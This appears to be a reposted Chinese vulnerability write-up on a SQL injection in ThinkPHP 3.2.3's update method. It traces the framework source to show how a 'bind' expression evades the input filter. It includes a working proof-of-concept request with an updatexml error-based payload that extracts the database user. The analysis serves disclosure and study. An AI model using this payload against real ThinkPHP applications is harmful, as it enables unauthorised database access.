热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

phpmvc漏洞挖掘,Thinkphp3.2.3最新版update注入漏洞(含PoC)

简要描述thinkphp是国内著名的php开发框架,有完善的开发文档,基于MVC架构,其中Thinkphp3.2.3是目前使用最广泛的th

简要描述

thinkphp是国内著名的php开发框架,有完善的开发文档,基于MVC架构,其中Thinkphp3.2.3是目前使用最广泛的thinkphp版本,虽然已经停止新功能的开发,但是普及度高于新出的thinkphp5系列,由于框架实现安全数据库过程中在update更新数据的过程中存在SQL语句的拼接,并且当传入数组未过滤时导致出现了SQL注入。

漏洞详情

这个问题很早之前就注意到了,只是一直没找到更常规的写法去导致注入的产生,在挖掘框架漏洞的标准是在使用官方的标准开发方式的前提下也会产生可以用的漏洞,这样才算框架级漏洞,跟普通的业务代码漏洞是有严格界线的。

thinkphp系列框架过滤表达式注入多半采用I函数去调用think_filter

function think_filter(&$value){

if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i',$value))

where制定主键的数值,save方法去更新变量传进来的参数到数据库的指定位置。

public function where($where,$parse=null){

if(!is_null($parse) && is_string($where)) {

if(!is_array($parse)) {

$parse = func_get_args();

array_shift($parse);

}

$parse = array_map(array($this->db,'escapeString'),$parse);

$where =   vsprintf($where,$parse);

}elseif(is_object($where)){

$where  =   get_object_vars($where);

}

if(is_string($where) && '' != $where){

$map    =   array();

$map['_string']   =   $where;

$where  =   $map;

}

if(isset($this->options['where'])){

$this->options['where'] =   array_merge($this->options['where'],$where);

}else{

$this->options['where'] =   $where;

}

return $this;

}

通过where方法获取where()链式中进来的参数值,并对参数进行检查,是否为字符串,tp框架默认是对字符串进行过滤的

public function save($data='',$options=array()) {

if(empty($data)) {

// 没有传递数据,获取当前数据对象的值

if(!empty($this->data)) {

$data           =   $this->data;

// 重置数据

$this->data     =   array();

}else{

$this->error    =   L('_DATA_TYPE_INVALID_');

return false;

}

}

// 数据处理

$data       =   $this->_facade($data);

if(empty($data)){

// 没有数据则不执行

$this->error    =   L('_DATA_TYPE_INVALID_');

return false;

}

// 分析表达式

$options    =   $this->_parseOptions($options);

$pk         =   $this->getPk();

if(!isset($options['where']) ) {

// 如果存在主键数据 则自动作为更新条件

if (is_string($pk) && isset($data[$pk])) {

$where[$pk]     =   $data[$pk];

unset($data[$pk]);

} elseif (is_array($pk)) {

// 增加复合主键支持

foreach ($pk as $field) {

if(isset($data[$field])) {

$where[$field]      =   $data[$field];

} else {

// 如果缺少复合主键数据则不执行

$this->error        =   L('_OPERATION_WRONG_');

return false;

}

unset($data[$field]);

}

}

if(!isset($where)){

// 如果没有任何更新条件则不执行

$this->error        =   L('_OPERATION_WRONG_');

return false;

}else{

$options['where']   =   $where;

}

}

if(is_array($options['where']) && isset($options['where'][$pk])){

$pkValue    =   $options['where'][$pk];

}

if(false === $this->_before_update($data,$options)) {

return false;

}

$result     =   $this->db->update($data,$options);

if(false !== $result && is_numeric($result)) {

if(isset($pkValue)) $data[$pk]   =  $pkValue;

$this->_after_update($data,$options);

}

return $result;

}

再来到save方法,通过前面的数据处理解析服务端数据库中的数据字段信息,字段数据类型,再到_parseOptions表达式分析,获取到表名,数据表别名,记录操作的模型名称,再去调用回调函数进入update

我们这里先直接看框架的where子单元函数,之前网上公开的exp表达式注入就是从这里分析出来的结论:

Thinkphp/Library/Think/Db/Driver.class.php

// where子单元分析

protected function parseWhereItem($key,$val) {

$whereStr = '';

if(is_array($val)) {

if(is_string($val[0])) {

$exp    =    strtolower($val[0]);

if(preg_match('/^(eq|neq|gt|egt|lt|elt)$/',$exp)) { // 比较运算

$whereStr .= $key.' '.$this->exp[$exp].' '.$this->parseValue($val[1]);

}elseif(preg_match('/^(notlike|like)$/',$exp)){// 模糊查找

if(is_array($val[1])) {

$likeLogic  =   isset($val[2])?strtoupper($val[2]):'OR';

if(in_array($likeLogic,array('AND','OR','XOR'))){

$like       =   array();

foreach ($val[1] as $item){

$like[] = $key.' '.$this->exp[$exp].' '.$this->parseValue($item);

}

$whereStr .= '('.implode(' '.$likeLogic.' ',$like).')';

}

}else{

$whereStr .= $key.' '.$this->exp[$exp].' '.$this->parseValue($val[1]);

}

}elseif('bind' == $exp ){ // 使用表达式

$whereStr .= $key.' = :'.$val[1];

}elseif('exp' == $exp ){ // 使用表达式

$whereStr .= $key.' '.$val[1];

}elseif(preg_match('/^(notin|not in|in)$/',$exp)){ // IN 运算

if(isset($val[2]) && 'exp'==$val[2]) {

$whereStr .= $key.' '.$this->exp[$exp].' '.$val[1];

}else{

if(is_string($val[1])) {

$val[1] =  explode(',',$val[1]);

}

$zone      =   implode(',',$this->parseValue($val[1]));

$whereStr .= $key.' '.$this->exp[$exp].' ('.$zone.')';

}

}elseif(preg_match('/^(notbetween|not between|between)$/',$exp)){ // BETWEEN运算

$data = is_string($val[1])? explode(',',$val[1]):$val[1];

$whereStr .=  $key.' '.$this->exp[$exp].' '.$this->parseValue($data[0]).' AND '.$this->parseValue($data[1]);

}else{

E(L('_EXPRESS_ERROR_').':'.$val[0]);

}

}else {

$count = count($val);

$rule  = isset($val[$count-1]) ? (is_array($val[$count-1]) ? strtoupper($val[$count-1][0]) : strtoupper($val[$count-1]) ) : '' ;

if(in_array($rule,array('AND','OR','XOR'))) {

$count  = $count -1;

}else{

$rule   = 'AND';

}

for($i=0;$i

$data = is_array($val[$i])?$val[$i][1]:$val[$i];

if('exp'==strtolower($val[$i][0])) {

$whereStr .= $key.' '.$data.' '.$rule.' ';

}else{

$whereStr .= $this->parseWhereItem($key,$val[$i]).' '.$rule.' ';

}

}

$whereStr = '( '.substr($whereStr,0,-4).' )';

}

}else {

//对字符串类型字段采用模糊匹配

$likeFields   =   $this->config['db_like_fields'];

if($likeFields && preg_match('/^('.$likeFields.')$/i',$key)) {

$whereStr .= $key.' LIKE '.$this->parseValue('%'.$val.'%');

}else {

$whereStr .= $key.' = '.$this->parseValue($val);

}

}

return $whereStr;

}

其中除了exp能利用外还有一处bind,而bind可以完美避开了think_filter:

elseif('bind' == $exp ){ // 使用表达式

$whereStr .= $key.' = :'.$val[1];

}elseif('exp' == $exp ){ // 使用表达式

$whereStr .= $key.' '.$val[1];

这里由于拼接了$val参数的形式造成了注入,但是这里的bind表达式会引入:符号参数绑定的形式去拼接数据,通过白盒对几处CURD操作函数进行分析定位到update函数,insert函数会造成sql注入,于是回到上面的updateh函数。

Thinkphp/Library/Think/Db/Driver.class.php

/**

* 更新记录

* @access public

* @param mixed $data 数据

* @param array $options 表达式

* @return false | integer

*/

public function update($data,$options) {

$this->model  =   $options['model'];

$this->parseBind(!empty($options['bind'])?$options['bind']:array());

$table  =   $this->parseTable($options['table']);

$sql   = 'UPDATE ' . $table . $this->parseSet($data);

if(strpos($table,',')){// 多表更新支持JOIN操作

$sql .= $this->parseJoin(!empty($options['join'])?$options['join']:'');

}

$sql .= $this->parseWhere(!empty($options['where'])?$options['where']:'');

if(!strpos($table,',')){

//  单表更新支持order和lmit

$sql   .=  $this->parseOrder(!empty($options['order'])?$options['order']:'')

.$this->parseLimit(!empty($options['limit'])?$options['limit']:'');

}

$sql .=   $this->parseComment(!empty($options['comment'])?$options['comment']:'');

return $this->execute($sql,!empty($options['fetch_sql']) ? true : false);

}

跟进execute函数:

public function execute($str,$fetchSql=false) {

$this->initConnect(true);

if ( !$this->_linkID ) return false;

$this->queryStr = $str;

if(!empty($this->bind)){

$that   =   $this;

$this->queryStr =   strtr($this->queryStr,array_map(function($val) use($that){ return '''.$that->escapeString($val).'''; },$this->bind));

}

if($fetchSql){

return $this->queryStr;

}

这里有处对$this->queryStr进行字符替换的操作:

$this->queryStr =   strtr($this->queryStr,array_map(function($val) use($that){ return '''.$that->escapeString($val).'''; },$this->bind));

具体是什么,我这里写了一个实例:

常规的跟新数据库用户信息的操作:

Application/Home/Controller/UserController.class.php

namespace HomeController;

use ThinkController;

class UserController extends Controller {

public function index(){

$User = M("member");

$user['id'] = I('id');

$data['money'] = I('money');

$data['user'] = I('user');

$valu = $User->where($user)->save($data);

var_dump($valu);

}

}

根据进来的id更新用户的名字和钱,构造一个简单一个poc

id[]=bind&id[]=1’&money[]=1123&user=liao 当走到execute函数时sql语句为:

UPDATE `member` SET `user`=:0 WHERE `id` = :1'

然后$that = $this

然后下面的替换操作是将”:0”替换为外部传进来的字符串,这里就可控了。

明显发现之前的user参数为:0然后被替换为了liao,这样就把:替换掉了。

后面的:1明显是替换不掉的:

0fcda4367f11d485deaad2187058683d.gif

那么我们将id[1]数组的参数变为0呢?

id[]=bind&id[]=0%27&money[]=1123&user=liao

0fcda4367f11d485deaad2187058683d.gif

果然造成了注入!

POC

money[]=1123&user=liao&id[0]=bind&id[1]=0%20and%20(updatexml(1,concat(0x7e,(select%20user()),0x7e),1))



推荐阅读
  • ps:写的第一个,不足之处,欢迎拍砖---只是想用自己的方法一步步去实现一些框架看似高大上的小功能(比如说模型中的toArraytoJsonsetAtt ... [详细]
  • 本文介绍了lua语言中闭包的特性及其在模式匹配、日期处理、编译和模块化等方面的应用。lua中的闭包是严格遵循词法定界的第一类值,函数可以作为变量自由传递,也可以作为参数传递给其他函数。这些特性使得lua语言具有极大的灵活性,为程序开发带来了便利。 ... [详细]
  • 本文介绍了使用Java实现大数乘法的分治算法,包括输入数据的处理、普通大数乘法的结果和Karatsuba大数乘法的结果。通过改变long类型可以适应不同范围的大数乘法计算。 ... [详细]
  • 1,关于死锁的理解死锁,我们可以简单的理解为是两个线程同时使用同一资源,两个线程又得不到相应的资源而造成永无相互等待的情况。 2,模拟死锁背景介绍:我们创建一个朋友 ... [详细]
  • 动态规划算法的基本步骤及最长递增子序列问题详解
    本文详细介绍了动态规划算法的基本步骤,包括划分阶段、选择状态、决策和状态转移方程,并以最长递增子序列问题为例进行了详细解析。动态规划算法的有效性依赖于问题本身所具有的最优子结构性质和子问题重叠性质。通过将子问题的解保存在一个表中,在以后尽可能多地利用这些子问题的解,从而提高算法的效率。 ... [详细]
  • 猜字母游戏
    猜字母游戏猜字母游戏——设计数据结构猜字母游戏——设计程序结构猜字母游戏——实现字母生成方法猜字母游戏——实现字母检测方法猜字母游戏——实现主方法1猜字母游戏——设计数据结构1.1 ... [详细]
  • 前景:当UI一个查询条件为多项选择,或录入多个条件的时候,比如查询所有名称里面包含以下动态条件,需要模糊查询里面每一项时比如是这样一个数组条件:newstring[]{兴业银行, ... [详细]
  • MySQL中的MVVC多版本并发控制机制的应用及实现
    本文介绍了MySQL中MVCC的应用及实现机制。MVCC是一种提高并发性能的技术,通过对事务内读取的内存进行处理,避免写操作堵塞读操作的并发问题。与其他数据库系统的MVCC实现机制不尽相同,MySQL的MVCC是在undolog中实现的。通过undolog可以找回数据的历史版本,提供给用户读取或在回滚时覆盖数据页上的数据。MySQL的大多数事务型存储引擎都实现了MVCC,但各自的实现机制有所不同。 ... [详细]
  • Todayatworksomeonetriedtoconvincemethat:今天在工作中有人试图说服我:{$obj->getTableInfo()}isfine ... [详细]
  • express工程中的json调用方法
    本文介绍了在express工程中如何调用json数据,包括建立app.js文件、创建数据接口以及获取全部数据和typeid为1的数据的方法。 ... [详细]
  • 从壹开始前后端分离【 .NET Core2.0 +Vue2.0 】框架之六 || API项目整体搭建 6.1 仓储模式
    代码已上传Github+Gitee,文末有地址  书接上文:前几回文章中,我们花了三天的时间简单了解了下接口文档Swagger框架,已经完全解放了我们的以前的Word说明文档,并且可以在线进行调 ... [详细]
  • 知识图谱——机器大脑中的知识库
    本文介绍了知识图谱在机器大脑中的应用,以及搜索引擎在知识图谱方面的发展。以谷歌知识图谱为例,说明了知识图谱的智能化特点。通过搜索引擎用户可以获取更加智能化的答案,如搜索关键词"Marie Curie",会得到居里夫人的详细信息以及与之相关的历史人物。知识图谱的出现引起了搜索引擎行业的变革,不仅美国的微软必应,中国的百度、搜狗等搜索引擎公司也纷纷推出了自己的知识图谱。 ... [详细]
  • 本文介绍了ASP.NET Core MVC的入门及基础使用教程,根据微软的文档学习,建议阅读英文文档以便更好理解,微软的工具化使用方便且开发速度快。通过vs2017新建项目,可以创建一个基础的ASP.NET网站,也可以实现动态网站开发。ASP.NET MVC框架及其工具简化了开发过程,包括建立业务的数据模型和控制器等步骤。 ... [详细]
  • 本文介绍了在go语言中利用(*interface{})(nil)传递参数类型的原理及应用。通过分析Martini框架中的injector类型的声明,解释了values映射表的作用以及parent Injector的含义。同时,讨论了该技术在实际开发中的应用场景。 ... [详细]
  • 本文讨论了在ASP中创建RazorFunctions.cshtml文件时出现的问题,即ASP.global_asax不存在于命名空间ASP中。文章提供了解决该问题的代码示例,并详细解释了代码中涉及的关键概念,如HttpContext、Request和RouteData等。通过阅读本文,读者可以了解如何解决该问题并理解相关的ASP概念。 ... [详细]
author-avatar
手机用户2602916917
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有